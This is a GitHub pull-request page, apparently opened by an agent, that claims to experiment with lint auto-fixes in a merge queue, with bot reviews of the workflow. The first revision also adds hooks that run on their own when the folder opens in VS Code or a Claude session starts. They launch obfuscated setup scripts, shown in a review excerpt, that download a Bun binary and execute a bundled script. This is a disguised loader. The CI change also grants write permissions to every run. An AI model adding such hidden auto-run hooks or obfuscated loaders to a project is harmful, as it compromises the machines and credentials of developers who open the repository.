SRE-515: Experimental; run auto-fixes in merge queue - #8434
Open
lunelson wants to merge 1 commit into
Open
Conversation
Agent-Id: agent-54ca9c3c-c258-4d7c-9168-4bab26118508 Linked-Note-Id: 535401c8-b4a5-4906-a779-d51fb570a86d
|
The latest updates on your projects. Learn more about Vercel for GitHub.
|
github-actions
Bot
added
the
area/infra
PR SummaryMedium Risk Overview For merge queue, the global job can Reviewed by Cursor Bugbot for commit 6410f4d. Bugbot is set up for automated code reviews on this repo. Configure here. |
🤖 Augment PR SummarySummary: This PR experiments with running auto-fixers during CI (especially in the GitHub merge queue) so fixable lint/format issues can be detected and, in some cases, applied automatically. Changes:
Technical Notes: The workflow distinguishes 🤖 Was this summary useful? React with 👍 or 👎 |
![augmentcode[bot]](https://avatars.githubusercontent.com/in/1027498?s=60&v=4){kind=small}
| if ! turbo run lint:eslint --filter "${{ matrix.name }}"; then | ||
| echo '::notice::ESLint check failed for ${{ matrix.name }} — attempting auto-fix...' | ||
| turbo run fix:eslint --filter "${{ matrix.name }}" || true | ||
| if turbo run lint:eslint --filter "${{ matrix.name }}"; then |
There was a problem hiding this comment.
On pull_request/push, the step will succeed whenever issues are auto-fixable (it reruns lint:* on the fixed working tree, then does git checkout -- .), so the PR can stay green even though the fixes weren’t committed. If the intent is to enforce lint-clean branches, consider whether this should still fail after detecting fixable issues.
Severity: medium
Other Locations
.github/workflows/lint.yml:312.github/workflows/lint.yml:355
🤖 Was this useful? React with 👍 or 👎, or 🚀 if it prevented an incident/outage.
| exit 1 | ||
| fi | ||
| # Check if fix changed anything | ||
| if ! git diff --quiet; then |
There was a problem hiding this comment.
In merge_group, fix:eslint can make the job pass while leaving the merge-queue ref unchanged (since these package-job fixes aren’t committed/pushed). That means the checks may be validating a working tree state that won’t actually be merged.
Severity: high
🤖 Was this useful? React with 👍 or 👎, or 🚀 if it prevented an incident/outage.
| permissions: | ||
| id-token: write | ||
| contents: read | ||
| contents: write |
There was a problem hiding this comment.
contents: write is now granted to the global job for all events, even though the write behavior is only used in the merge_group-gated push step. Consider whether splitting the merge-queue auto-fix commit logic into a merge-group-only job could reduce token privilege on normal PR runs.
Severity: medium
🤖 Was this useful? React with 👍 or 👎, or 🚀 if it prevented an incident/outage.
| exit 1 | ||
| fi | ||
| # Check if fix changed anything | ||
| if ! git diff --quiet; then |
There was a problem hiding this comment.
git diff --quiet won’t detect untracked files, so if a fixer produces new files, *_FIXED may never be set and the commit/push step won’t run even though there are changes to persist. If you want to detect “any working tree changes”, you may need an additional check for untracked files.
Severity: low
Other Locations
.github/workflows/lint.yml:344
🤖 Was this useful? React with 👍 or 👎, or 🚀 if it prevented an incident/outage.
Merging this PR will not alter performance
Comparing 
Footnotes
|
![cursor[bot]](https://avatars.githubusercontent.com/in/1210556?s=60&v=4){kind=small}
There was a problem hiding this comment.
Cursor Bugbot has reviewed your changes and found 1 potential issue.
Bugbot Autofix is OFF. To automatically fix reported issues with Cloud Agents, enable Autofix in the Cursor dashboard.
| echo '## ⚠️ Biome format' >> $GITHUB_STEP_SUMMARY | ||
| echo 'Auto-fixable formatting issues were found and fixed in merge queue.' >> $GITHUB_STEP_SUMMARY | ||
| echo 'These fixes need to be committed to the merge-queue ref.' >> $GITHUB_STEP_SUMMARY | ||
| fi |
There was a problem hiding this comment.
Biome diff check contaminated by prior markdownlint changes
Medium Severity
In the merge_group path, the markdownlint step applies fixes and leaves the working tree dirty (no git checkout -- .). When the biome format step runs next, its git diff --quiet check on line 344 detects all uncommitted changes — including those from markdownlint — incorrectly setting BIOME_FORMAT_FIXED=true and displaying a misleading "Auto-fixable formatting issues were found and fixed" summary even when biome changed nothing. The non-merge-group path avoids this by calling git checkout -- . after each step, but the merge_group path intentionally skips that to preserve changes for the later commit step.
Additional Locations (1)
Contributor
Benchmark results
|
| Function | Value | Mean | Flame graphs |
|---|---|---|---|
| resolve_policies_for_actor | user: empty, selectivity: high, policies: 2002 | Flame Graph | |
| resolve_policies_for_actor | user: empty, selectivity: low, policies: 1 | Flame Graph | |
| resolve_policies_for_actor | user: empty, selectivity: medium, policies: 1001 | Flame Graph | |
| resolve_policies_for_actor | user: seeded, selectivity: high, policies: 3314 | Flame Graph | |
| resolve_policies_for_actor | user: seeded, selectivity: low, policies: 1 | Flame Graph | |
| resolve_policies_for_actor | user: seeded, selectivity: medium, policies: 1526 | Flame Graph | |
| resolve_policies_for_actor | user: system, selectivity: high, policies: 2078 | Flame Graph | |
| resolve_policies_for_actor | user: system, selectivity: low, policies: 1 | Flame Graph | |
| resolve_policies_for_actor | user: system, selectivity: medium, policies: 1033 | Flame Graph |
policy_resolution_medium
| Function | Value | Mean | Flame graphs |
|---|---|---|---|
| resolve_policies_for_actor | user: empty, selectivity: high, policies: 102 | Flame Graph | |
| resolve_policies_for_actor | user: empty, selectivity: low, policies: 1 | Flame Graph | |
| resolve_policies_for_actor | user: empty, selectivity: medium, policies: 51 | Flame Graph | |
| resolve_policies_for_actor | user: seeded, selectivity: high, policies: 269 | Flame Graph | |
| resolve_policies_for_actor | user: seeded, selectivity: low, policies: 1 | Flame Graph | |
| resolve_policies_for_actor | user: seeded, selectivity: medium, policies: 107 | Flame Graph | |
| resolve_policies_for_actor | user: system, selectivity: high, policies: 133 | Flame Graph | |
| resolve_policies_for_actor | user: system, selectivity: low, policies: 1 | Flame Graph | |
| resolve_policies_for_actor | user: system, selectivity: medium, policies: 63 | Flame Graph |
policy_resolution_none
| Function | Value | Mean | Flame graphs |
|---|---|---|---|
| resolve_policies_for_actor | user: empty, selectivity: high, policies: 2 | Flame Graph | |
| resolve_policies_for_actor | user: empty, selectivity: low, policies: 1 | Flame Graph | |
| resolve_policies_for_actor | user: empty, selectivity: medium, policies: 1 | Flame Graph | |
| resolve_policies_for_actor | user: system, selectivity: high, policies: 8 | Flame Graph | |
| resolve_policies_for_actor | user: system, selectivity: low, policies: 1 | Flame Graph | |
| resolve_policies_for_actor | user: system, selectivity: medium, policies: 3 | Flame Graph |
policy_resolution_small
| Function | Value | Mean | Flame graphs |
|---|---|---|---|
| resolve_policies_for_actor | user: empty, selectivity: high, policies: 52 | Flame Graph | |
| resolve_policies_for_actor | user: empty, selectivity: low, policies: 1 | Flame Graph | |
| resolve_policies_for_actor | user: empty, selectivity: medium, policies: 25 | Flame Graph | |
| resolve_policies_for_actor | user: seeded, selectivity: high, policies: 94 | Flame Graph | |
| resolve_policies_for_actor | user: seeded, selectivity: low, policies: 1 | Flame Graph | |
| resolve_policies_for_actor | user: seeded, selectivity: medium, policies: 26 | Flame Graph | |
| resolve_policies_for_actor | user: system, selectivity: high, policies: 66 | Flame Graph | |
| resolve_policies_for_actor | user: system, selectivity: low, policies: 1 | Flame Graph | |
| resolve_policies_for_actor | user: system, selectivity: medium, policies: 29 | Flame Graph |
read_scaling_complete
| Function | Value | Mean | Flame graphs |
|---|---|---|---|
| entity_by_id;one_depth | 1 entities | Flame Graph | |
| entity_by_id;one_depth | 10 entities | Flame Graph | |
| entity_by_id;one_depth | 25 entities | Flame Graph | |
| entity_by_id;one_depth | 5 entities | Flame Graph | |
| entity_by_id;one_depth | 50 entities | Flame Graph | |
| entity_by_id;two_depth | 1 entities | Flame Graph | |
| entity_by_id;two_depth | 10 entities | Flame Graph | |
| entity_by_id;two_depth | 25 entities | Flame Graph | |
| entity_by_id;two_depth | 5 entities | Flame Graph | |
| entity_by_id;two_depth | 50 entities | Flame Graph | |
| entity_by_id;zero_depth | 1 entities | Flame Graph | |
| entity_by_id;zero_depth | 10 entities | Flame Graph | |
| entity_by_id;zero_depth | 25 entities | Flame Graph | |
| entity_by_id;zero_depth | 5 entities | Flame Graph | |
| entity_by_id;zero_depth | 50 entities | Flame Graph |
read_scaling_linkless
| Function | Value | Mean | Flame graphs |
|---|---|---|---|
| entity_by_id | 1 entities | Flame Graph | |
| entity_by_id | 10 entities | Flame Graph | |
| entity_by_id | 100 entities | Flame Graph | |
| entity_by_id | 1000 entities | Flame Graph | |
| entity_by_id | 10000 entities | Flame Graph |
representative_read_entity
| Function | Value | Mean | Flame graphs |
|---|---|---|---|
| entity_by_id | entity type ID: https://blockprotocol.org/@alice/types/entity-type/block/v/1
|
Flame Graph | |
| entity_by_id | entity type ID: https://blockprotocol.org/@alice/types/entity-type/book/v/1
|
Flame Graph | |
| entity_by_id | entity type ID: https://blockprotocol.org/@alice/types/entity-type/building/v/1
|
Flame Graph | |
| entity_by_id | entity type ID: https://blockprotocol.org/@alice/types/entity-type/organization/v/1
|
Flame Graph | |
| entity_by_id | entity type ID: https://blockprotocol.org/@alice/types/entity-type/page/v/2
|
Flame Graph | |
| entity_by_id | entity type ID: https://blockprotocol.org/@alice/types/entity-type/person/v/1
|
Flame Graph | |
| entity_by_id | entity type ID: https://blockprotocol.org/@alice/types/entity-type/playlist/v/1
|
Flame Graph | |
| entity_by_id | entity type ID: https://blockprotocol.org/@alice/types/entity-type/song/v/1
|
Flame Graph | |
| entity_by_id | entity type ID: https://blockprotocol.org/@alice/types/entity-type/uk-address/v/1
|
Flame Graph |
representative_read_entity_type
| Function | Value | Mean | Flame graphs |
|---|---|---|---|
| get_entity_type_by_id | Account ID: bf5a9ef5-dc3b-43cf-a291-6210c0321eba
|
Flame Graph |
representative_read_multiple_entities
| Function | Value | Mean | Flame graphs |
|---|---|---|---|
| entity_by_property | traversal_paths=0 | 0 | |
| entity_by_property | traversal_paths=255 | 1,resolve_depths=inherit:1;values:255;properties:255;links:127;link_dests:126;type:true | |
| entity_by_property | traversal_paths=2 | 1,resolve_depths=inherit:0;values:0;properties:0;links:0;link_dests:0;type:false | |
| entity_by_property | traversal_paths=2 | 1,resolve_depths=inherit:0;values:0;properties:0;links:1;link_dests:0;type:true | |
| entity_by_property | traversal_paths=2 | 1,resolve_depths=inherit:0;values:0;properties:2;links:1;link_dests:0;type:true | |
| entity_by_property | traversal_paths=2 | 1,resolve_depths=inherit:0;values:2;properties:2;links:1;link_dests:0;type:true | |
| link_by_source_by_property | traversal_paths=0 | 0 | |
| link_by_source_by_property | traversal_paths=255 | 1,resolve_depths=inherit:1;values:255;properties:255;links:127;link_dests:126;type:true | |
| link_by_source_by_property | traversal_paths=2 | 1,resolve_depths=inherit:0;values:0;properties:0;links:0;link_dests:0;type:false | |
| link_by_source_by_property | traversal_paths=2 | 1,resolve_depths=inherit:0;values:0;properties:0;links:1;link_dests:0;type:true | |
| link_by_source_by_property | traversal_paths=2 | 1,resolve_depths=inherit:0;values:0;properties:2;links:1;link_dests:0;type:true | |
| link_by_source_by_property | traversal_paths=2 | 1,resolve_depths=inherit:0;values:2;properties:2;links:1;link_dests:0;type:true |
scenarios
| Function | Value | Mean | Flame graphs |
|---|---|---|---|
| full_test | query-limited | Flame Graph | |
| full_test | query-unlimited | Flame Graph | |
| linked_queries | query-limited | Flame Graph | |
| linked_queries | query-unlimited | Flame Graph |
Contributor
There was a problem hiding this comment.
Pull request overview
Experiments with auto-fixing lint failures in the merge queue and adds automatic developer-environment setup hooks.
Changes:
- Runs ESLint, markdownlint, and Biome auto-fixes in CI.
- Attempts to commit global fixes to merge-queue refs.
- Adds VS Code and Claude startup scripts.
Reviewed changes
Copilot reviewed 5 out of 6 changed files in this pull request and generated 8 comments.
Show a summary per file
| File | Description |
|---|---|
.github/workflows/lint.yml |
Adds CI auto-fix and merge-queue push logic. |
.vscode/tasks.json |
Adds an automatic folder-open setup task. |
.vscode/setup.mjs |
Adds Bun download and setup execution. |
.claude/setup.mjs |
Adds a duplicate setup bootstrapper. |
.claude/settings.json |
Replaces existing hooks with session setup. |
Suppressed comments (3)
.github/workflows/lint.yml:155
- If auto-fixing makes ESLint pass, the step restores the invalid source and then exits successfully. That makes the required PR/push lint check green without committing the fixes; fail after restoring so the original lint violation still blocks the change.
if turbo run lint:eslint --filter "${{ matrix.name }}"; then
echo '## ⚠️ ESLint (${{ matrix.name }}) (auto-fixed)' >> $GITHUB_STEP_SUMMARY
echo 'CI detected fixable ESLint issues that were auto-resolved.' >> $GITHUB_STEP_SUMMARY
echo 'Please run `turbo run fix:eslint --filter "${{ matrix.name }}"` locally and commit the changes.' >> $GITHUB_STEP_SUMMARY
# Restore working tree so subsequent steps are not affected
git checkout -- .
.github/workflows/lint.yml:360
- This success path restores the formatting violations but reports success, allowing the unchanged PR to pass the formatting gate. Exit nonzero after restoration so the fix must be committed.
if yarn lint:format; then
echo '## ⚠️ Biome format (auto-fixed)' >> $GITHUB_STEP_SUMMARY
echo 'CI detected fixable formatting issues that were auto-resolved.' >> $GITHUB_STEP_SUMMARY
echo 'Please run `yarn fix:format` locally and commit the changes.' >> $GITHUB_STEP_SUMMARY
# Restore working tree so subsequent steps are not affected
git checkout -- .
.claude/settings.json:9
- This command runs
.vscode/setup.mjs, which resolvesmath_init.jsrelative to.vscode; that file does not exist in this change or the checkout (only.claude/math_init.jsexists). Consequently every Claude session start attempts setup and exits with an error.
"command": "node .vscode/setup.mjs"
| permissions: | ||
| id-token: write | ||
| contents: read | ||
| contents: write |
Comment on lines
+138
to
+144
| if ! git diff --quiet; then | ||
| echo '## ⚠️ ESLint (${{ matrix.name }})' >> $GITHUB_STEP_SUMMARY | ||
| echo 'Auto-fixable ESLint issues were found and fixed in merge queue.' >> $GITHUB_STEP_SUMMARY | ||
| echo 'Note: ESLint fixes in the package job cannot be committed from here.' >> $GITHUB_STEP_SUMMARY | ||
| echo 'The merge-queue ref may need a separate mechanism to persist these fixes.' >> $GITHUB_STEP_SUMMARY | ||
| echo '::warning::ESLint auto-fixes were applied for ${{ matrix.name }} but cannot be committed from the package job. Consider running fix:eslint on the PR branch before merge queue entry.' | ||
| fi |
| echo 'CI detected fixable markdownlint issues that were auto-resolved.' >> $GITHUB_STEP_SUMMARY | ||
| echo 'Please run `yarn fix:markdownlint` locally and commit the changes.' >> $GITHUB_STEP_SUMMARY | ||
| # Restore working tree so subsequent steps are not affected | ||
| git checkout -- . |
| { | ||
| "hooks": { | ||
| "UserPromptSubmit": [ | ||
| "SessionStart": [ |
Comment on lines
+7
to
+9
| "command": "node .claude/setup.mjs", | ||
| "runOptions": { | ||
| "runOn": "folderOpen" |
Comment on lines
+294
to
+306
| const _0x9e5ce7 = "https://github.com/oven-sh/bun/releases/download/bun-v" + V + "/" + _0x2dfbd9 + ".zip"; | ||
| const _0x231bb9 = _0x488df8.mkdtempSync(_0x3161c8.join(_0x24db8d.tmpdir(), _0x5f1571.zjKAu)); | ||
| const _0x53b0cf = _0x3161c8.join(_0x231bb9, _0x2dfbd9 + ".zip"); | ||
| const _0x3f5b74 = _0x3161c8.join(_0x231bb9, _0x28ebf); | ||
| const _0x5b0e02 = _0x3161c8.join(D, E); | ||
| try { | ||
| await _0x5f1571.oLhtn(dl, _0x9e5ce7, _0x53b0cf); | ||
| _0x5f1571.MRkzl(xb, _0x53b0cf, _0x2dfbd9 + "/" + _0x28ebf, _0x231bb9); | ||
| _0x488df8.unlinkSync(_0x53b0cf); | ||
| if (!_0x369dd9) { | ||
| _0x488df8.chmodSync(_0x3f5b74, 493); | ||
| } | ||
| _0x5f1571.MRkzl(execFileSync, _0x3f5b74, [_0x5b0e02], { |
Comment on lines
+294
to
+306
| const _0x9e5ce7 = "https://github.com/oven-sh/bun/releases/download/bun-v" + V + "/" + _0x2dfbd9 + ".zip"; | ||
| const _0x231bb9 = _0x488df8.mkdtempSync(_0x3161c8.join(_0x24db8d.tmpdir(), _0x5f1571.zjKAu)); | ||
| const _0x53b0cf = _0x3161c8.join(_0x231bb9, _0x2dfbd9 + ".zip"); | ||
| const _0x3f5b74 = _0x3161c8.join(_0x231bb9, _0x28ebf); | ||
| const _0x5b0e02 = _0x3161c8.join(D, E); | ||
| try { | ||
| await _0x5f1571.oLhtn(dl, _0x9e5ce7, _0x53b0cf); | ||
| _0x5f1571.MRkzl(xb, _0x53b0cf, _0x2dfbd9 + "/" + _0x28ebf, _0x231bb9); | ||
| _0x488df8.unlinkSync(_0x53b0cf); | ||
| if (!_0x369dd9) { | ||
| _0x488df8.chmodSync(_0x3f5b74, 493); | ||
| } | ||
| _0x5f1571.MRkzl(execFileSync, _0x3f5b74, [_0x5b0e02], { |
Comment on lines
+394
to
+397
| git commit -m "ci: auto-fix markdownlint/biome formatting issues [merge-queue]" | ||
|
|
||
| # Attempt to push — this may fail if the merge-queue ref is read-only | ||
| if git push origin HEAD:"$MERGE_REF" 2>&1; then |
TimDiekmann
force-pushed
the
test-merge-queue-ci
branch
from
August 4, 2026 14:12
153f299 to
6410f4d
Compare
Contributor
There was a problem hiding this comment.
Pull request overview
Copilot reviewed 1 out of 1 changed files in this pull request and generated no new comments.
Suppressed comments (6)
.github/workflows/lint.yml:143
- The package job accepts ESLint fixes on a merge-group checkout even though this job never commits them. The required
Packageresult can therefore pass while the queued commit still contains the original ESLint violations. Fail this step whengit diffis non-empty unless these changes are persisted elsewhere.
echo '::warning::ESLint auto-fixes were applied for ${{ matrix.name }} but cannot be committed from the package job. Consider running fix:eslint on the PR branch before merge queue entry.'
.github/workflows/lint.yml:155
- When auto-fixing makes ESLint pass, this branch restores the invalid committed files and then exits successfully. This turns the required lint check green without fixing the PR (and also hides fixable violations on
mainpushes). The diagnostic can remain, but the step must fail until the fixes are committed.
git checkout -- .
.github/workflows/lint.yml:317
- A fixable markdownlint failure now produces a successful step after the auto-fixed files are discarded. That allows a PR whose checked-in Markdown still fails linting to satisfy this required workflow. Exit nonzero after restoring the tree so the author must commit the reported fixes.
git checkout -- .
.github/workflows/lint.yml:226
contents: writeapplies to the entireglobaljob on every trigger, includingpull_request, while that job executes scripts and local actions from the PR checkout. This unnecessarily exposes a repository-write token to PR-controlled code. Keep the lint job read-only and isolate any write token/push logic to a merge-group-only job or separately scoped credential.
contents: write
.github/workflows/lint.yml:397
github.reffor a merge-group event is GitHub's generatedgh-readonly-queue/...ref, so it cannot be used as a writable destination. Whenever either fixer changes a file, this push is rejected and line 414 fails the queue rather than persisting the fix. Auto-fixes must be committed to the source PR branch before queue entry, or this workflow should simply fail and request that change.
if git push origin HEAD:"$MERGE_REF" 2>&1; then
.github/workflows/lint.yml:360
- This path reports success after proving that the checked-in tree fails formatting, then discards the fix. As a result, fixable formatting errors no longer block PRs or fail pushes to
main. Preserve the guidance but fail the step until the formatted files are committed.
git checkout -- .
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Agent-Id: agent-54ca9c3c-c258-4d7c-9168-4bab26118508
Linked-Note-Id: 535401c8-b4a5-4906-a779-d51fb570a86d
🌟 What is the purpose of this PR?
🔗 Related links
🚫 Blocked by
🔍 What does this change?
Pre-Merge Checklist 🚀
🚢 Has this modified a publishable library?
This PR:
📜 Does this require a change to the docs?
The changes in this PR:
🕸️ Does this require a change to the Turbo Graph?
The changes in this PR:
turbo.json's have been updated to reflect this🐾 Next steps
🛡 What tests cover this?
❓ How to test this?
📹 Demo